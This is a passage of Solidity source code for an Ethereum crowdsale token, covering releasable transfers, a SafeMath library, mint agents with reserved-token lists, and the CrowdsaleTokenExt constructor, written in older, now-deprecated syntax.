onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); struct ReservedTokensData { uint inTokens; uint inPercentage; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; function setReservedTokensList(address addr, uint inTokens, uint inPercentage) onlyOwner { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentage:inPercentage}); } function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedTokensListValInPercentage(address addr) constant returns (uint inPercentage) { return reservedTokensList[addr].inPercentage; } function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentage) onlyOwner { for (uint iterator = 0; iterator < addrs.length; iterator++) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentage[iterator]); } } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } } contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { event UpdatedTokenInformation(string newName, string newSymbol); string public name; string public symbol; uint public decimals; uint public minCap; function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } }
336,372
12,199